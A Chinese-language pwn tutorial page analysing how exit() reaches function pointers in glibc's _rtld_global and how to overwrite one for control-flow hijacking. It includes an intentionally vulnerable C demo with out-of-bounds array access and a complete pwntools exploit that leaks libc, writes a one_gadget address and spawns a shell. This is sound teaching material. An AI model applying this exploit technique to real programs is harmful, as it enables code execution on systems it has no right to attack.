zepor

二进制旅程


__exit_hook

<p>[TOC]</p> <h1>🌓exit()过程分析</h1> <p>其实本事不存在 <code>__exit_hook</code> ,只是在触发exit的时候会调用类似于 <code>__malloc_hook</code> 的东西,也就是一处函数指针,只要我们覆盖了该函数指针的值即可实现程序劫持 写一个简单的demo来分析exit具体的调用流程</p> <pre><code class="language-c">#include&lt;stdlib.h&gt; void main() { exit(0); } // gcc demo.c -o demo -no-pie</code></pre> <p>gdb调试可以看到exit函数调用的函数为 <code>__run_exit_handlers</code> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=d2021b93870b663cf3841f2e90f94da8&amp;file=file.png" alt="" /> 进入该函数后又会调用 <code>_dl_fini</code> 函数 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=21a191227c4116bbb0e31048f2e843a9&amp;file=file.png" alt="" /> 在_dl_fini函数里会调用两个关键函数 <code>__rtld_lock_lock_recursive</code> 和 <code>__rtld_lock_unlock_recursive</code></p> <pre><code class="language-c">// glibc/elf/dl-fini.c void internal_function _dl_fini (void) { #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns &gt;= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock)); unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded; /* No need to do anything for empty namespaces or those used for auditing DSOs. */ if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded-&gt;l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock));</code></pre> <p>两个函数原型为</p> <pre><code class="language-c">// glibc/sysdeps/nptl/libc-lockP.h #ifdef SHARED # define __rtld_lock_lock_recursive(NAME) \ GL(dl_rtld_lock_recursive) (&amp;(NAME).mutex) # define __rtld_lock_unlock_recursive(NAME) \ GL(dl_rtld_unlock_recursive) (&amp;(NAME).mutex) #else # define __rtld_lock_lock_recursive(NAME) \ __libc_maybe_call (__pthread_mutex_lock, (&amp;(NAME).mutex), 0) # define __rtld_lock_unlock_recursive(NAME) \ __libc_maybe_call (__pthread_mutex_unlock, (&amp;(NAME).mutex), 0) #endif</code></pre> <p>一般都是调用上两个定义 <code>GL(dl_rtld_lock_recursive)</code> 和 <code>GL(dl_rtld_unlock_recursive)</code> GL的定义为</p> <pre><code class="language-c">// glibc/sysdeps/generic/ldsodefs.h # if IS_IN (rtld) # define GL(name) _rtld_local._##name # else # define GL(name) _rtld_global._##name # endif</code></pre> <p>也就是去调用_rtld_global中对应的函数指针,该结构体定义为</p> <pre><code class="language-c">// glibc/sysdeps/generic/ldsodefs.h #if defined SHARED &amp;&amp; defined _LIBC_REENTRANT \ &amp;&amp; defined __rtld_lock_default_lock_recursive EXTERN void (*_dl_rtld_lock_recursive) (void *); EXTERN void (*_dl_rtld_unlock_recursive) (void *); #endif</code></pre> <p>所以本质上__rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive调用的是两个函数指针 通过gdb命令 <code>p/x _rtld_global</code> 可以看到结构体内包含的函数指针 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=6aafcdd83a7bfbebaa8b4c5445b428c3&amp;file=file.png" alt="" /> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=b69ee7465ab51a20b50b2e59fec97a78&amp;file=file.png" alt="" /> 这两个函数指针位于ld段,该段是通过mmap得到的,所以偏移libc地址是固定的,可以计算出来 同时运行那两个函数的时候会传递一个指针参数 <code>GL(dl_load_lock)</code>,这个参数也是结构体 <code>_rtld_global</code> 的一部分,调试来看 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=8ec9d84438ee909e7ba65a1e0887a70c&amp;file=file.png" alt="" /> 这个位置是 <code>_dl_load_lock.mutex.__size</code> 的位置 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=a052421b43b8551bff785b97ca1a5939&amp;file=file.png" alt="" /> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=3f073c58b21e35d4e9b9d5e7d643b8ac&amp;file=file.png" alt="" /></p> <h1>🌓攻击分析</h1> <p>写一个攻击demo</p> <pre><code class="language-c">#include&lt;stdio.h&gt; #include&lt;stdlib.h&gt; long long int *p; long long int buf[0x20]; void init() { setbuf(stdin, 0); setbuf(stdout, 0); setbuf(stderr, 0); } void menu() { puts("1. write"); puts("2. read"); puts("3. exit"); printf("choice: "); } void write(long long int *p) { int index; printf("index: "); scanf("%d", &amp;index); printf("input: "); scanf("%lld", &amp;p[index]); } void read(long long int *p) { int index; printf("index: "); scanf("%d", &amp;index); printf("content: %llx\n", p[index]); } void main() { int choice; p = buf; init(); while(1) { menu(); scanf("%d", &amp;choice); switch(choice) { case 1: write(p); break; case 2: read(p); break; case 3: exit(0); default: continue; } } } // gcc exp_demo.c -o exp_demo // libc: 2.23-0ubuntu3_amd64</code></pre> <p>漏洞很明显,是数组越界,首先我们可以通过越界read出got表内libc函数地址,比如泄露puts函数地址 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=17ed3b6338435754450cf4c319e52be5&amp;file=file.png" alt="" /> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=88bae79a60935cb2758f3d0af4ce5e62&amp;file=file.png" alt="" /> 之间差距为</p> <pre><code>(0x4080-0x3fa8)/8 = 27</code></pre> <p>index也就是-27 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=68b140d5549bd51d20c79732582c55e5&amp;file=file.png" alt="" /> 然后就可以计算出libc基地址,然后来看一下那两处函数指针的位置在哪 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2a70a112e83498e022977ce23fdc871a&amp;file=file.png" alt="" /> 偏移量为</p> <pre><code>0x7ffff7ffdf48 - 0x7ffff7a0e000 = 0x5eff48</code></pre> <p>函数指针地址就为libc_base + 0x5eff48 接着可以修改p指针为该函数指针地址 <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2cb587fddca5eabf7f0c09eea9fdd41c&amp;file=file.png" alt="" /> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=4d59119dba6d1cbae1acacaa29826866&amp;file=file.png" alt="" /> 然后再次进行write,写入函数指针地址处one_gadget <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=d496d99ed043f59c9c6bc805c4eae126&amp;file=file.png" alt="" /> <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=2f54f407147499a096a2f0df491080b8&amp;file=file.png" alt="" /> 最后执行exit函数,即可getshell <img src="https://www.showdoc.com.cn/server/api/attachment/visitFile?sign=c05b2626fd7189a9605feb0032dee8ad&amp;file=file.png" alt="" /></p> <h2>🌙Exploit</h2> <pre><code class="language-py">from pwn import* # context.log_level = 'debug' o = process('./exp_demo') elf = ELF('./exp_demo') libc = elf.libc def write(index, content): o.sendlineafter("choice: ", '1') o.sendlineafter("index: ", str(index)) o.sendlineafter("input: ", content) def read(index): o.sendlineafter("choice: ", '2') o.sendlineafter("index: ", str(index)) read(-27) o.recvuntil("content: ") puts_addr = int(o.recv(12), 16) libc_base = puts_addr - libc.sym['puts'] log.info("libc_base: "+hex(libc_base)) ptr = libc_base + 0x5eff48 one = libc_base + 0xf0897 write(-4, str(ptr)) write(0, str(one)) o.sendlineafter("choice: ", '3') o.interactive()</code></pre> <p>还有一种方法就是覆盖函数指针为system地址,然后写入参数/bin/sh,但是这里只能修改p一次,所以无法实现</p> <h1>🌓参考文章</h1> <ul> <li><a href="https://www.cnblogs.com/pwnfeifei/p/15759130.html">https://www.cnblogs.com/pwnfeifei/p/15759130.html</a></li> <li><a href="https://www.anquanke.com/post/id/260754">https://www.anquanke.com/post/id/260754</a></li> <li><a href="https://www.anquanke.com/post/id/243196">https://www.anquanke.com/post/id/243196</a></li> </ul>

页面列表

ITEM_HTML